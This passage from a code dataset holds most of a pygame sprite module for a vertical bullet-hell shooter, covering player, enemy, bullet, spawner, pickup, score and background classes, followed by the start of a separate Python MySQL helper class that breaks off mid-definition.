method used to update animation frames, cooldowns, and \n movement.'''\n \n #Invincible frames tick and image mannipulation to invisible.\n if self.__temp_invincible > 0:\n #Movement lock while invincible for 30 frames. Lock player.\n if self.__temp_invincible >= self.__invincible_frames-50:\n self.__lock = 1\n self.__dx, self.__dy = 0,0\n #Move up only \n self.__dy = -5\n #Unlock player.\n else:\n self.__lock = 0\n \n #Stop movement from lock when end position reached.\n if not self.__lock and self.__dy == -5:\n self.__dy = 0\n \n #Switch to appropriate animation frames (stationary or turning).\n if self.__dx < 0:\n self.__frames = self.__turn_frames_left\n elif self.__dx > 0:\n self.__frames = self.__turn_frames_right\n else:\n self.__frames = self.__station_frames\n \n #Update sprite animation frames\n if self.__temp_frame_refresh > 0:\n self.__temp_frame_refresh -= 1\n else:\n self.__temp_frame_refresh = self.__frame_refresh\n self.__index += 1\n self.image = self.__frames[self.__index % len(self.__frames)] \n \n #Invincible frames tick and image mannipulation to invisible.\n if self.__temp_invincible > 0:\n self.__temp_invincible -= 1\n #Every 15 frames and every 3 frames close by will be invisible.\n if self.__temp_invincible % 15 <= 6 and \\\n self.__temp_invincible % 15 > 2:\n self.image = self.__temp \n \n #Update sprite position using boundaries.\n #Horizontal position.\n if ((self.rect.left > 0) and (self.__dx < 0)) or\\\n ((self.rect.right < self.__screen.get_width()-200) and\\\n (self.__dx > 0)):\n self.rect.centerx += self.__dx/self.__focus*self.__diagonal\n #Vertical position\n if ((self.rect.top > 0) and (self.__dy < 0)) or\\\n ((self.rect.bottom < self.__screen.get_height()) and\\\n (self.__dy > 0)):\n self.rect.centery += self.__dy/self.__focus*self.__diagonal\n \n #Cool down control.\n if self.__temp_cool_rate > 0 :\n self.__temp_cool_rate -= 1\n \nclass Hitbox(pygame.sprite.Sprite):\n '''The sprite for the player hit box sprite. Used in bullet detection.'''\n \n def __init__(self, screen, player):\n '''This method initializes the sprite using the player sprite.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Image loading\n self.__hitbox = pygame.image.load(\"images/hitbox.png\")\\\n .convert_alpha()\n self.__temp = pygame.image.load(\"images/temp.png\").convert_alpha()\n \n #Instance value setting.\n self.image = self.__hitbox\n self.rect = self.image.get_rect()\n self.__player = player\n self.__screen = screen\n \n def position(self, player):\n '''This method uses the player sprite instance to reposition itself.'''\n \n #Mutate self center.\n self.rect.center = player.rect.center\n \n def set_visible(self, visible):\n '''This method uses the visible parameter (boolean), to set image from\n visible to invisible.'''\n \n #Change image depending on if visible\n if visible:\n self.image = self.__hitbox\n else:\n self.image = self.__temp\n\n def update(self):\n '''This sprite updates the position of the hitbox sprite. using a\n method.'''\n \n #Position hit box in the center of the player sprite.\n self.position(self.__player)\n \n #Set invisible if outside bottom of screen - player reset property\n if self.rect.top > self.__screen.get_height():\n self.set_visible(0)\n \n \nclass Bomb(pygame.sprite.Sprite):\n '''This class creates a player bomb sprite. Used to detect and kill bullets\n upon detection.'''\n \n def __init__(self, xy_position):\n '''This method initializes the class using the xy parameter \n (tuple position) to start bomb at a point.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self) \n \n #Set instance values.\n self.__side = 20\n self.image = pygame.Surface((self.__side,self.__side))\n self.rect = self.image.get_rect()\n self.__start = xy_position\n self.rect.center = xy_position\n self.__finish_raidus = 700\n self.__expand = 30\n self.__width = 3\n \n def get_side(self):\n '''This method returns the instance side. Used in accurate rect \n detection in main.'''\n \n #Return instance.\n return self.__side\n\n def update(self):\n ''''This method updates the bomb by increasing the size, the width of \n the circle drawn and to seemingly animate the bomb to expand off the \n screen.'''\n \n #If not finished expanding, continue.\n if self.__side/2 < self.__finish_raidus:\n self.__side += self.__expand\n self.__width += 1\n \n #Create new surface with the new size\n self.image = pygame.Surface((self.__side,self.__side))\n \n #Make background invisible\n self.image.set_colorkey((0,0,0))\n \n #Draw circle in surface.\n pygame.draw.circle(self.image, (255,255,255), (self.__side//2\n , self.__side//2), self.__side//2, self.__width)\n \n #Reset rect for proper collision.\n self.rect = self.image.get_rect()\n self.rect.center = self.__start\n \n #If done, kill bomb.\n else:\n self.kill()\n \nclass Enemy(pygame.sprite.Sprite):\n '''The Enemy sprite class that shoots bullets at player with different \n patterns depending on the enemy type.'''\n \n def __init__(self, screen, enemy_type = 1):\n '''This method initializes the enemy sprite with correct properties \n according to enemy type parameter. The screen parameter is used in for\n boundaries in update.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Set up and load animation frames.\n self.__unlock_frames = []\n for index in range(4):\n self.__unlock_frames.append(pygame.image.load(\"images/fairy\"\n +str(enemy_type)+\"_\"+str(index)+\".png\").convert_alpha())\n \n #Load frames of turning animation for boss type enemies.\n self.__lock_frames_right = []\n self.__lock_frames_left = [] \n if enemy_type < 4:\n #Create right turning frames from image files.\n for index in range(4):\n self.__lock_frames_right.append(pygame.image.load(\"images/turn\"\n +str(enemy_type)+\"_\"+str(index)+\".png\").convert_alpha())\n \n #Left turning frames created by fliping right turning frames\n for frame in self.__lock_frames_right:\n self.__lock_frames_left.append(pygame.transform.flip(frame,\n 1, 0)) \n \n #Setting default properites\n self.__frames = self.__unlock_frames\n self.image = self.__frames[0]\n self.__down_frames = 0\n self.__active_frames = 0\n self.__cool_rate = 0\n self.__dx = 0\n self.__dy = 0\n self.__hp = 0\n self.__degs_change = 0 \n self.rect = self.image.get_rect()\n self.rect.center = (400-50*enemy_type, 340-50*enemy_type)\n self.__screen = screen \n self.__target_degs = None\n self.__target_y = screen.get_height()+self.rect.height\n self.__enemy_type = enemy_type\n self.__index = 0\n self.__frame_refresh = 2\n self.__images = 4 \n self.__lock = 0\n self.__killed = 0\n \n #Setting special enemy instance values depending on enemy type.\n if enemy_type == 1:\n self.__down_frames = 60\n self.__active_frames = 60\n self.__cool_rate = 5\n self.__hp = 35\n elif enemy_type == 2:\n self.__down_frames = 30\n self.__active_frames = 40\n self.__cool_rate = 10\n self.__hp = 40 \n elif enemy_type == 3:\n self.__down_frames = 0\n self.__active_frames = 12\n self.__cool_rate = 4\n self.__hp = 45\n self.__degs_change = 6\n elif enemy_type == 4:\n self.__down_frames = 60\n self.__active_frames = 15\n self.__cool_rate = 3\n self.__hp = 10 \n elif enemy_type == 5:\n self.__down_frames = 30\n self.__active_frames = 30\n self.__cool_rate = 15\n self.__hp = 15 \n \n #Set up initial spawn position\n self.setup()\n \n #Set temps used in countdowns.\n self.__temp_down_frames = self.__down_frames\n self.__temp_frame_refresh = self.__frame_refresh\n self.__temp_active_frames = self.__active_frames\n self.__temp_cool_rate = self.__cool_rate\n \n def setup(self):\n '''This method sets up the sprite when it spawns. This method decides \n where the sprite spawns, and where it goes.'''\n \n #Spawn location setting.\n x_pos = random.randrange(self.rect.width,\n self.__screen.get_width()-201-self.rect.width)\n y_pos = 0-self.rect.height\n self.rect.center = (x_pos, y_pos)\n \n #Static target position for boss type sprites.\n if self.__enemy_type < 4:\n target_x = random.randrange(100, \n self.__screen.get_width()-201-self.rect.width, 100)\n target_y = random.randrange(100, \n self.__screen.get_height()-229, 50)\n \n #Get the degrees between the target position and starting position.\n degs = self.calc_degs(target_x,target_y)\n #Get the appropriate vector movement according to degrees.\n self.__dx = math.cos(math.radians(degs)) * 5\n self.__dy = -(math.sin(math.radians(degs)) * 5) \n \n #Save the target y position.\n self.__target_y = target_y\n \n #Disable shooting at start when moving to target position.\n self.__lock = 1 \n \n #Common type sprites randomly goes down screen.\n elif self.__enemy_type >= 4:\n self.__dx = 1\n self.__dy = 2\n if x_pos > (self.__screen.get_width()-200)/2:\n self.__dx = -self.__dx\n \n def spawn_bullet(self, target):\n '''This method accepts a target parameter (a sprite) and use it to \n spawn/return bullets. The pattern will vary depending on the enemy \n types.'''\n \n #Get degrees using the target and the shooter.\n degs = self.calc_degs(target.rect.centerx, target.rect.centery) \n \n #Type 1, fire 1 bullet that tracks in the direction of the target \n #with some variation.\n if self.__enemy_type == 1:\n self.__target_degs = degs\n vary = random.randrange(-10, 26, 2)\n self.__target_degs += vary\n self.__temp_cool_rate = self.__cool_rate\n return Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs) \n \n #Type 2, fire three bullets in a triple spread pattern towards target \n #with little variation.\n elif self.__enemy_type == 2:\n if self.__target_degs == None:\n self.__target_degs = degs\n vary = random.randrange(-2, 12, 2)\n self.__target_degs += vary \n self.__temp_cool_rate = self.__cool_rate \n return [Bullet(self.__screen, self, self.__enemy_type+1, \n self.__target_degs-50), \n Bullet(self.__screen, self, \n self.__enemy_type+1, self.__target_degs-25),\n Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs),\n Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs+25),\n Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs+55)]\n \n #Type 3, Fire four bullets in a 90 degree gap each. The degree of \n #direction will change and rotate as frames pass by.\n elif self.__enemy_type == 3:\n if self.__target_degs == None:\n self.__target_degs = 0\n factor = random.randrange(1,4,2)\n if self.__target_degs < 0 and self.__degs_change < 0:\n self.__degs_change = 9 * factor\n elif self.__target_degs > 180 and self.__degs_change > 0:\n self.__degs_change = -9 * factor\n self.__target_degs += self.__degs_change\n self.__temp_cool_rate = self.__cool_rate \n return [Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs),\n Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs+90),\n Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs+180),\n Bullet(self.__screen, self, self.__enemy_type+1,\n self.__target_degs+270)]\n \n #Type 4, fire at target will a lot of variation in direction.\n elif self.__enemy_type == 4:\n self.__target_degs = degs\n vary = random.randrange(-16, 30, 1)\n self.__target_degs += vary \n self.__temp_cool_rate = self.__cool_rate \n return Bullet(self.__screen, self, self.__enemy_type+1, \n self.__target_degs) \n \n #Type 5, spread bullets in all directions, 60 degrees gap.\n elif self.__enemy_type == 5:\n self.__target_degs = random.randrange(0, 360, 15)\n bullets = []\n for extra_degs in range(0, 360, 60):\n bullets.append(Bullet(self.__screen, self, self.__enemy_type+1, \n self.__target_degs+extra_degs)) \n self.__temp_cool_rate = self.__cool_rate \n return bullets\n \n def calc_degs(self, target_x, target_y):\n '''This method accepts the target's x and y coordinates to get the \n degrees between self and target. The degree is then returned.'''\n \n #Get the differences in xy values.\n delta_x = float(target_x - self.rect.centerx)\n delta_y = float(target_y - self.rect.centery)\n \n #Get radians from delta values using atan2. \n rads = math.atan2(-delta_y, delta_x) #-delta y,coordinates are reversed.\n \n #Only rads in range degrees 0 - 360\n rads %= 2 * math.pi\n \n #Convert and Return radians to degrees for easy pattern mannipulation.\n return math.degrees(rads) \n \n def damaged(self, damage):\n '''This method takes a damage paramter (integer). The damage paramter\n is used to decrease enemy/class health.'''\n \n #Mutate hp instance.\n self.__hp -= damage \n \n def set_killed(self):\n '''This method mutates the killed instance to 1 to inform that the \n sprite is already killed. This makes it so that the sprite doesn't \n die mutiple times.'''\n \n #Set instance.\n self.__killed = 1\n \n def get_killed(self):\n '''This method returns the killed instance to inform main if sprite \n is already killed.'''\n \n #Return instance.\n return self.__killed \n \n def get_cool_rate(self):\n '''This method returns the cool rate of the enemy. Used in main to see \n when enemy can fire.'''\n \n #Return instance.\n return self.__temp_cool_rate\n \n def get_down_frames(self):\n '''This method returns the down frames of the enemy. Used to see when \n the enemy can fire in main.'''\n \n #Return instance\n return self.__temp_down_frames\n \n def get_lock(self):\n '''This method returns the lock mode value. Used to see if enemy can \n shoot.'''\n \n #Return instance\n return self.__lock\n \n def get_hp(self):\n '''This method returns the hp of the enemy. Used to see when \n the enemy can be deleted in main.''' \n \n #Return instance.\n return self.__hp\n \n def get_center(self):\n '''This method returns the down frames of the enemy. Used to position \n sprites.''' \n \n #Return instance.\n return self.rect.center\n \n def get_type(self):\n '''This method returns the enemy type to determine numbers of types on \n screen in main.'''\n \n #Return instance.\n return self.__enemy_type\n \n def update(self):\n '''This method updates what happens to the enemy class as frames passes \n by. This method kills, moves, animates, and controls cool down of \n enemy class.'''\n \n #Decide to kill if enemy dies.\n if self.__killed or self.rect.top > self.__screen.get_height():\n self.kill()\n \n #While turning load appropriate turning frames \n if self.__lock and int(self.__dx) > 0:\n self.__frames = self.__lock_frames_right\n elif self.__lock and int(self.__dx) < 0:\n self.__frames = self.__lock_frames_left\n else:\n self.__frames = self.__unlock_frames\n \n #Animate frames, refresh counter\n if self.__temp_frame_refresh > 0:\n self.__temp_frame_refresh -= 1\n else:\n self.__temp_frame_refresh = self.__frame_refresh\n self.__index += 1\n self.image = self.__frames[self.__index % self.__images]\n \n #Tick cool rate if appropriate.\n if self.__temp_cool_rate > 0 and self.__lock != 1:\n self.__temp_cool_rate -= 1\n \n #Reset down frames and active frames to original.\n if self.__temp_active_frames == 0 == self.__temp_down_frames:\n self.__temp_down_frames = self.__down_frames\n self.__temp_active_frames = self.__active_frames\n \n #Set target degrees to none as appropriate to type 2 pattern\n if self.__enemy_type == 2:\n self.__target_degs = None\n \n #Tick down frames and active frames if appropriate.\n if self.__temp_down_frames > 0 and self.__lock != 1: \n self.__temp_down_frames -= 1\n if self.__temp_active_frames > 0 and self.__temp_down_frames == 0:\n self.__temp_active_frames -= 1\n \n #Change x vector when colliding with boundary for opposite direction.\n if self.rect.left <= 0 and self.__dx < 0:\n self.__dx = abs(self.__dx)\n elif self.rect.right >= self.__screen.get_width()-200 and self.__dx > 0:\n self.__dx = -self.__dx\n \n #move class/sprite according to vectors.\n self.rect.centerx += self.__dx\n \n if not self.rect.centery >= self.__target_y:\n self.rect.centery += self.__dy\n else:\n self.__dx = 0\n self.__dy = 0\n self.__lock = 0\n \nclass Explosion(pygame.sprite.Sprite):\n '''This class creates a Explosion animation depending on type.'''\n \n def __init__(self, xy_position, explosion_type):\n '''This method initializes the class by using paramters starting \n position and type. The starting position is used as spawn point and\n explosion type is used to load appropriate image.\n '''\n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self) \n \n #Set up and load frames depending on type\n self.__frames = []\n if explosion_type == 0:\n for num in range(4):\n self.__frames.append(pygame.image.load(\"images/death\"\n +str(num)+\".png\").convert_alpha())\n elif explosion_type == 1:\n for num in range(3):\n self.__frames.append(pygame.image.load(\"images/burst\"\n +str(num)+\".png\").convert_alpha())\n \n #Set up instances.\n self.image = self.__frames[0]\n self.rect = self.image.get_rect()\n self.rect.center = xy_position\n self.__frame_refresh = 1 \n self.__temp_refresh = self.__frame_refresh\n self.__index = 0\n \n def update(self):\n '''Update class as frames passes by. Control frame refresh, new frame\n and kill.'''\n \n #Frame tick\n if self.__temp_refresh > 0:\n self.__temp_refresh -= 1\n \n #Kill after animation\n else:\n if self.__index >= len(self.__frames)-1:\n self.kill()\n #Next frame if appropriate\n else:\n self.__index += 1\n self.image = self.__frames[self.__index]\n self.__temp_refresh = self.__frame_refresh\n \nclass Bullet(pygame.sprite.Sprite):\n '''This is the Bullet class sprite that creates a bullet that is used to \n hit the player or the enemies. The direction will vary on degrees passed in.\n '''\n \n def __init__(self, screen, shooter, shoot_type, degs = None):\n '''This method initializes the bullet sprite using parameters such \n as screen, shooter of bullet, shoot type, and degrees.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Load appropriate image for bullet depending on shoot type.\n self.image = pygame.image.load(\"images/bullet\"\n +str(shoot_type)+\".png\").convert_alpha()\n \n #Set up default values.\n self.rect = self.image.get_rect()\n self.rect.center = shooter.rect.center\n self.__screen = screen\n self.__dx = 0\n self.__dy = 0\n self.__grazed = 0\n self.__graze_frames = 10\n self.__shoot_type = shoot_type\n self.__temp_graze = self.__graze_frames\n \n #Set unique bullet speed and direction depending on shoot type.\n if shoot_type == 0:\n self.__dy = -20\n elif shoot_type ==1:\n self.__dx = math.cos(math.radians(degs)) * 20\n self.__dy = -(math.sin(math.radians(degs)) * 20) \n elif shoot_type == 2:\n self.__dx = math.cos(math.radians(degs)) * 6\n self.__dy = -(math.sin(math.radians(degs)) * 6)\n elif shoot_type ==3: \n self.__dx = math.cos(math.radians(degs)) * 6\n self.__dy = -(math.sin(math.radians(degs)) * 6) \n elif shoot_type ==4:\n self.__dx = math.cos(math.radians(degs)) * 6\n self.__dy = -(math.sin(math.radians(degs)) * 6) \n elif shoot_type == 5:\n self.__dx = math.cos(math.radians(degs)) * 4\n self.__dy = -(math.sin(math.radians(degs)) * 4) \n elif shoot_type == 6:\n self.__dx = math.cos(math.radians(degs)) * 4\n self.__dy = -(math.sin(math.radians(degs)) * 4)\n \n def set_grazed(self, mode):\n '''This method sets it so that the bullet is grazed.'''\n \n #Mutate grazed to true.\n self.__grazed = mode\n \n def get_center(self):\n '''This method returns the center instance. Used in main for sprite\n positioning.'''\n \n #Return instance.\n return self.rect.center\n \n def get_grazed(self):\n '''This method returns the grazed instance (boolean). Used in main \n for sprite positioning.'''\n \n #Return instance.\n return self.__grazed\n \n def update(self):\n '''This method will be called automatically to reposition the\n bullet sprite on the screen.'''\n \n #Reposition\n self.rect.centery += self.__dy \n self.rect.centerx += self.__dx\n \n #Graze reset\n if self.__grazed == 1:\n self.__temp_graze -= 1\n if self.__temp_graze == 0:\n self.__grazed = 0\n self.__temp_graze = self.__graze_frames\n \n #Kill bullet if out of screen for effciency.\n if (0 >= self.rect.bottom or self.rect.top >= \n self.__screen.get_height()) or (0 >= self.rect.right or\n self.rect.left >= self.__screen.get_width()-200):\n \n self.kill()\n \n#TO DO: SPAWNER\nclass Spawner(pygame.sprite.Sprite):\n '''This class is the spawner class which determines when to spawn a type of\n enemy as frames pass by.'''\n \n def __init__(self, screen, spawner_type):\n '''This method initializes the class with screen parameter (used to \n spawn enemy) and the type parameter (value). Determines if \n common enemy or boss enemy can be spawned.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n self.image = pygame.Surface((0,0))\n self.rect = self.image.get_rect()\n self.__type = spawner_type\n self.__screen = screen\n self.__lock = 0\n self.__spawn_types = []\n \n if self.__type == 0:\n self.__spawn_frames = 150\n self.__spawn_range = [4, 6]\n elif self.__type == 1:\n self.__spawn_frames = 300\n self.__spawn_range = [1, 4]\n \n self.__temp_frames = self.__spawn_frames\n \n def spawn_enemy(self):\n '''Spawn enemy if appropriate.'''\n \n #Reset temp.\n self.__temp_frames = self.__spawn_frames\n \n #Spawn appropriate enemy depending on type\n enemy_type = random.randrange(self.__spawn_range[0], \n self.__spawn_range[1])\n return Enemy(self.__screen, enemy_type) \n \n def set_lock(self, mode):\n '''This method sets the instance lock between boolean values. \n Determines when to countdown spawn time.'''\n \n #Set instance to boolean.\n self.__lock = mode\n \n def set_rate(self, difficulty):\n '''This method changes the spawn rate depending on its own spawn type \n and difficulty of the game. This method also changes the range of \n enemies that a spawner can summon depending on difficulty.'''\n \n #Common spawn type, decrease spawn rate by 15 frames each difficulty.\n if self.__type == 0:\n self.__spawn_frames = 150 - (difficulty*15)\n #Different enemy range in common spawner depending on difficulty.\n if difficulty == 0 or difficulty == 1:\n self.__spawn_range = [4,5]\n elif difficulty == 2:\n self.__spawn_range = [4,6]\n #Boss spawn type, decrease spawn rate by 30 frames each difficulty.\n elif self.__type == 1:\n self.__spawn_frames = 300 - (difficulty*30) \n #Different enemy range in boss spawner depending on difficulty.\n if difficulty == 0:\n self.__spawn_range = [1,2]\n elif difficulty == 1:\n self.__spawn_range = [1,3]\n elif difficulty == 3:\n self.__spawn_range = [1,4]\n \n def get_spawn_frames(self):\n '''This method returns the instance temp_frames to determine if spawn \n is possible in main.'''\n \n #Return instance.\n return self.__temp_frames\n \n def get_type(self):\n '''This method returns the instance type to determine if which limit \n in main should be looked at.''' \n \n #Return instance.\n return self.__type\n \n def update(self):\n '''Tick down spawn time if the spawner is not locked.'''\n \n if not self.__lock:\n if self.__temp_frames >= 0:\n self.__temp_frames -= 1\n \nclass Pick_up(pygame.sprite.Sprite):\n '''The pick up class is used to spawn points, live and bomb drops to \n enhance gameplay in main.'''\n \n def __init__(self, screen, enemy, drop_type):\n '''This method initializes the pick class using the screen parameter \n as bounaries, sprite to get spawn position and drop_type.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Set screen, drop type, and rate of speed update\n self.__screen = screen\n self.__type = drop_type\n self.__speed_frames = 5\n self.__temp_speed = self.__speed_frames\n \n #Image loading \n self.image = pygame.image.load(\"images/drop\"\n +str(self.__type)+\".png\").convert_alpha()\n self.rect = self.image.get_rect()\n \n #Rect setting.\n self.rect = self.image.get_rect()\n self.rect.center = enemy.rect.center\n \n #Randomized initial speeds of drop\n self.__dx = random.randrange(-3,4)\n self.__dy = random.randrange(-2,3) \n \n \n def get_type(self):\n '''This method returns the self instance type to be passed in to score \n tab when colliding with player in main.'''\n \n #Return instance.\n return self.__type\n \n def update(self):\n '''This method is called automatically at the end of every frame to \n update the sprite.'''\n\n #Kill bullet if out of bottom for effciency.\n if (self.rect.top >= self.__screen.get_height()):\n self.kill() \n \n #Update speed if appropriate\n if self.__temp_speed == 0:\n #If x velocity is not 0 yet, get closer to it by 1.\n if self.__dx != 0:\n self.__dx -= (self.__dx / abs(self.__dx))\n \n #If y velocity is not 3 yet, get closer to it by 1.\n if self.__dy < 3:\n self.__dy += 1\n elif self.__dy > 3:\n self.__dy -= 1\n \n self.__temp_speed = self.__speed_frames\n \n else:\n self.__temp_speed -= 1\n \n #Update position using vectors.\n self.rect.centerx += self.__dx\n self.rect.centery += self.__dy\n \n \nclass Score_tab(pygame.sprite.Sprite):\n '''The score tab class used to keep track of score, highscore, lives, and\n bombs.'''\n \n def __init__(self, screen):\n '''This method initializes the class with appropriate parameters.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Open data file for highscore.\n try:\n #Open, read highscore and save.\n load_data = open(\"data/highscore.txt\", 'r')\n self.__highscore = int(load_data.read())\n #Close data file.\n load_data.close() \n \n #If file error, just set highscore to 0.\n except IOError and ValueError: \n #Brand new highscore.\n self.__highscore = 0\n \n #Load image as main surface.\n self.image = pygame.image.load(\"images/score_tab.png\").convert() \n \n #Life frames image loading\n self.__life_frames = []\n for frame in range(2):\n self.__life_frames.append(pygame.image.load(\n \"images/life\"+str(frame)+\".png\").convert_alpha()) \n \n #Bomb frames image loading\n self.__bomb_frames = []\n for frame in range(2):\n self.__bomb_frames.append(pygame.image.load(\n \"images/bomb\"+str(frame)+\".png\").convert_alpha()) \n \n #Set default instances.\n self.rect = self.image.get_rect()\n self.rect.center = (screen.get_width()-self.rect.width/2,\\\n screen.get_height()/2)\n self.__screen = screen\n self.__font = pygame.font.Font(\"fonts/go3v2.ttf\", 25)\n self.__score = 0\n self.__scores = [\"HIGHSCORE\", (\"%10s\" %(str(self.__highscore))).replace(\n \" \", \"0\"),\n \"SCORE\",(\"%10s\" %(str(self.__score))).replace(\" \", \"0\")] \n self.__score_labels = []\n self.__lives = 2\n self.__bombs = 1\n self.__stats = [\"LIVES\", \"BOMBS\"]\n self.__stat_labels = []\n self.__score_colour = (255,255,255)\n self.__stat_colour = (255,255,255)\n self.__colour_frames = 15\n self.__temp_colour_frames = self.__colour_frames\n \n def add_points(self, point_type):\n '''This method add to the points value depending on the type of added \n points. The type determines how much points are added'''\n \n #Grazing points\n if point_type == 0:\n self.__score += 1\n #Enemy type based points 1-5\n elif point_type == 1:\n self.__score += 30\n elif point_type == 2:\n self.__score += 35\n elif point_type == 3:\n self.__score += 50\n elif point_type == 4:\n self.__score += 10\n elif point_type == 5:\n self.__score += 15\n #Drop type based points\n elif point_type == 6:\n self.__score += 5\n elif point_type == 7:\n self.__score += 10\n #Life and bomb drops. If full capacity points are given instead.\n elif point_type == 8:\n if self.__lives < 3:\n self.__lives += 1\n else:\n self.__score += 100\n elif point_type == 9:\n if self.__bombs < 3:\n self.__bombs += 1\n else:\n self.__score += 50\n \n def life_loss(self):\n '''This method mutates the lives instance by decreasing it by 1.'''\n \n #Decrease lives by 1 after death.\n self.__lives -= 1 \n self.reset()\n \n def reset(self):\n '''This method resets the bomb count after successful respawn.'''\n \n #Reset bombs to 1 if game not over yet.\n if self.__lives != 0:\n self.__bombs = 1\n \n def bomb_used(self):\n '''This method mutates the bombs instance by decreasing it by 1.'''\n \n #Decrease lives by 1 after death.\n self.__bombs -= 1 \n \n def get_highscore(self):\n '''This method returns the instance highscore to be saved in main.'''\n \n #Return instance.\n return self.__highscore\n \n def get_lives(self):\n '''This method returns the instance lives to be read in main.'''\n \n #Return instance.\n return self.__lives\n \n def get_bombs(self):\n '''This method returns the instance lives to be read in main.'''\n \n #Return instance.\n return self.__bombs\n \n def update(self):\n '''This method is called once per frame to update the score tab.'''\n \n #Compare scores, flash colours at constant rate if score is highscore.\n if self.__score >= self.__highscore:\n self.__highscore = self.__score\n if self.__temp_colour_frames > 0:\n self.__temp_colour_frames -=1\n if self.__temp_colour_frames == 0:\n if self.__score_colour == (255,255,255):\n self.__score_colour = (255,99,71)\n else:\n self.__score_colour = (255,255,255)\n self.__temp_colour_frames = self.__colour_frames \n \n #Refresh scores for refreshed labels\n self.__scores = [\"HIGHSCORE\", (\"%10s\" %(str(self.__highscore))).replace(\n \" \", \"0\"),\n \"SCORE\",(\"%10s\" %(str(self.__score))).replace(\" \", \"0\")] \n \n #Reset score labels\n self.__score_labels = [] \n self.__stat_labels = [] \n \n #Render all score labels\n for score in self.__scores:\n label = self.__font.render(score, 1, (self.__score_colour)) \n self.__score_labels.append(label)\n \n #Render all stat labels\n for stat in self.__stats:\n label = self.__font.render(stat, 1, (self.__stat_colour)) \n self.__stat_labels.append(label) \n \n #Blit image on to surface. \n self.image = pygame.image.load(\"images/score_tab.png\").convert()\n \n #Blit labels accordinging to their y position.\n y_pos = -20\n for label_num in range(len(self.__score_labels)):\n if label_num %2 == 0:\n y_pos += 50\n else:\n y_pos += 25\n self.image.blit(self.__score_labels[label_num], (10,y_pos)) \n \n y_pos = 235\n for label_num in range(len(self.__stat_labels)):\n y_pos += 75 \n self.image.blit(self.__stat_labels[label_num], (10,y_pos)) \n \n #Blit 3 life and bomb images with appropriate shade depending on amount.\n x_pos = 0\n for num in range(1, 4):\n if self.__lives >= num: \n self.image.blit(self.__life_frames[1], (10+x_pos, 345))\n else:\n self.image.blit(self.__life_frames[0], (10+x_pos, 345))\n x_pos += 40\n x_pos = 0\n for num in range(1, 4):\n if self.__bombs >= num: \n self.image.blit(self.__bomb_frames[1], (10+x_pos, 420))\n else:\n self.image.blit(self.__bomb_frames[0], (10+x_pos, 420))\n x_pos += 40 \n \nclass Cloud(pygame.sprite.Sprite):\n '''This is a cloud class that is used to make background more lively.'''\n \n def __init__(self, screen):\n '''This method initializes the cloud class using the screen parameter \n as bounaries.'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n #Set instances, randomize properties upon creation.\n self.__screen = screen\n self.__type = 0\n self.__dx = 0\n self.__dy = 0 \n self.random_type()\n self.random_speed()\n \n #Image loading \n self.image = pygame.image.load(\"images/cloud\"\n +str(self.__type)+\".png\").convert_alpha()\n self.rect = self.image.get_rect()\n \n #Set position.\n self.random_reset()\n \n def random_type(self):\n '''This method randomizes the type of the cloud for different images.'''\n \n #Randomize type value between 0-2\n self.__type = random.randrange(3)\n \n def random_speed(self):\n '''This method randomizes the speed of the cloud.'''\n \n #Randomize direction of x vector between -1 or 1.\n self.__dx = random.randrange(-1, 2, 2) \n \n #Randomize values of y vector between 2-4\n self.__dy = random.randrange(2, 5)\n \n def random_reset(self):\n '''This method randomizes the position of the cloud near the top of the\n screen.'''\n \n #x pos is static\n x_pos = (self.__screen.get_width()-200)/2\n #y pos is randomized for varied cloud appearance\n y_pos = random.randrange(-200, -39, 2)\n \n #Position cloud.\n self.rect.center = (x_pos, y_pos)\n \n def update(self):\n '''This method automatically runs once per frame to update the cloud. \n Reset cloud if appropriate.'''\n \n #Update position using vectors.\n self.rect.centerx += self.__dx\n self.rect.centery += self.__dy\n \n #Reset cloud if out of bottom.\n if self.rect.top > self.__screen.get_height():\n self.random_type()\n self.random_speed()\n self.random_reset()\n \nclass Background(pygame.sprite.Sprite):\n '''This class defines a surface sprite to blit the scrolling background on.\n This background will reset at a specific position while scrolling to give \n illusion of infinite height.'''\n \n def __init__(self):\n '''This initializer creates surface, loads background and initializes\n other instances needed for scrolling in update'''\n \n # Call the parent __init__() method\n pygame.sprite.Sprite.__init__(self)\n \n # Create surface initialize rect, position.\n self.image = pygame.Surface((440, 480))\n self.rect = self.image.get_rect()\n self.rect.left, self.rect.top = (0,0)\n \n #Load image and initialize other instances.\n self.__background = pygame.image.load(\"images/background.png\").convert()\n self.__background_y = -440\n self.__dy = 1\n \n def get_surface(self):\n '''This method returns the surface of the background which is needed for\n the clear method in main.'''\n \n #Return instance.\n return self.image\n \n def update(self):\n '''This method will be called automatically to reposition the\n background image on the surface, seemingly scrolling.'''\n \n #Update image.\n self.__background_y += self.__dy\n \n #Blit image on to surface.\n self.image.blit(self.__background, (0, self.__background_y))\n \n #Reset image to origin when appropriate\n if self.__background_y >= 0:\n self.__background_y = -440\n","repo_name":"MatoPlus/ProjectWitchCraft","sub_path":"game_sprites.py","file_name":"game_sprites.py","file_ext":"py","file_size_in_byte":51197,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"894053193","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\nimport os, glob, stat\nimport datetime\nimport pwd\nimport MySQLdb\n\n\nclass dbData():\n\tdef __init__(self, host, user, passwd, db, logging = None):\n\t\n\t\tself.logging = logging\n\t\tself.log (\"dbData init\")\n\n\t\tself.host = host\n\t\tself.user = user\n\t\tself.passwd = passwd\n\t\tself.db = db\n\t\tself.lastID = 